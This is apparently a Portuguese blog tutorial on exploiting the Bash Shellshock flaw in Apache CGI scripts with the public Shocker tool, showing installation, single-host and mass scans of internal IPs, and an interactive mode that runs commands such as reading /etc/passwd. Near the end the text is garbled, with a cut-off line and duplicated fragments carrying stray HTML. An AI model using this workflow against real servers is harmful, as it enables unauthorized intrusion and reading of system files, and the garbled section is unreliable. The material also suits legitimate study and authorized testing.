O Bash Shellshock é uma vulnerabilidade encontrada no Bash de sistemas GNU/Linux e seus forks como MacOS e etc que utilizavam a versão 1.14 à 4.3. Ela permite o atacante executar diversas instruções diretamente do Bash do usuário do Apache por meio das CGI's do apache de primeiro momento. O modo mais convencional de fazer isso é enviando uma requisição HTTP com um user agent modificado com o comando embutido dentro, fazendo com que o response do HTTP retorne o output do comando. Uma ferramenta bem bacana que faz vários testes automatizados em CGI's é o Shocker. Ele é totalmente feito em Python e é bem bacana.
Git do projeto: https://github.com/nccgroup/shocker
Instalação
Faça o clone da ferramenta, presumindo que você já tenha o Python instalado
# git clone https://github.com/nccgroup/shocker.git
# cd shoker
# python shoker.py
matheus@fidelis:~/Tools/shocker$ python shocker.py
.-. . .
( )| |
`-. |--. .-. .-.|.-. .-. .--.
( )| |( )( |-.'(.-' |
`-' ' `-`-' `-'' `-`--'' v1.0
Tom Watson, tom.watson@nccgroup.trust
https://www.github.com/nccgroup/shocker
Released under the GNU Affero General Public License
(https://www.gnu.org/licenses/agpl-3.0.html)
usage: shocker.py [-h] (--Host HOST | --file FILE)
[--cgilist CGILIST | --cgi CGI] [--port PORT]
[--command COMMAND] [--proxy PROXY] [--ssl]
[--threads THREADS] [--verbose]
shocker.py: error: one of the arguments --Host/-H --file/-f is required
Scanning simples de um host
O tipo de scanning mais simples que podemos realizar é passando somente o IP do host. Ele irá testar a porta 80 como default.
# ./shocker.py -H 192.168.0.9
[+] 402 potential targets imported from ./shocker-cgi_list
[+] Checking connectivity with target...
[+] Target was reachable
[+] Looking for vulnerabilities on 192.168.0.9:80
[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)
[+] 1 potential target found, attempting exploits
[+] The following URLs appear to be exploitable:
[1] http://192.168.0.9:80/
[+] Would you like to exploit further?
[>] Enter an URL number or 0 to exit: 1
[+] Entering interactive mode for http://192.168.0.9:80/
[+] Enter commands (e.g. /bin/cat /etc/passwd) or 'quit'
> DIGITE UM COMANDO PARA TESTAR AQUI
Scanning em lista
Você pode montar listas de hosts para fazer testes em massa na sua rede e etc. Vou criar um arquivo contendo alguns IP's aleatórios de máquinas virtuais da minha rede interna rodando servidores Apache de diferentes versões. vou criar um arquivo chamado list.txt # ./shocker.py -f list.txt
[+] Looking for vulnerabilities on 192.168.0.9:80
[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)
[+] Looking for vulnerabilities on 192.168.0.200:80
[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)
[+] Looking for vulnerabilities on 192.168.0.61:80
[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)
[+] Looking for vulnerabilities on 192.168.0.153:80
[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)
[+] Looking for vulnerabilities on 192.168.0.172:80
[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)
[+] Looking for vulnerabilities on 192.168.0.140:80
[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)
[+] Looking for vulnerabilities on 192.168.0.246:80
[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)
[+] Looking for vulnerabilities on 192.168.0.201:80
[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)
[+] Looking for vulnerabilities on 192.168.0.252:80
[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] (402/402)
[+] 129 potential targets found, attempting exploits
Utilizando comandos na requisição ao CGI
Você poderá inserir comandos manualmente dentro do User Agent tunado que será enviado para executar o ShellShock. No caso, aconselho você passar o caminho absoluto dos binários do Linux e não seus aliases. Um exemplo: "/bin/ls -l /etc" ao invés de "ls -l" . [+] Would you like to exploit further?
[>] Enter an URL number or 0 to exit: 90
[+] Entering interactive mode for http://1
andos manualmente dentro do User Agent tunado que será enviado para executar o ShellShock. No caso, aconselho você passar o caminho absoluto dos binários do Linux e não seus aliases. Um exemplo:<br />
<br />andos manualmente dentro do User Agent tunado que será enviado para executar o ShellShock. No caso, aconselho você passar o caminho absoluto dos binários do Linux e não seus aliases. Um exemplo:<br />
<br />
<br />
<br /></div>
<br />
<br /></div>
[+] Enter commands (e.g. /bin/cat /etc/passwd) or 'quit'
Espero ter ajudado :)
Poooooh Fidelis podia ter usado o code do brother aqui né kkkk
ResponderExcluirhttps://github.com/mthbernardes/EvilTool/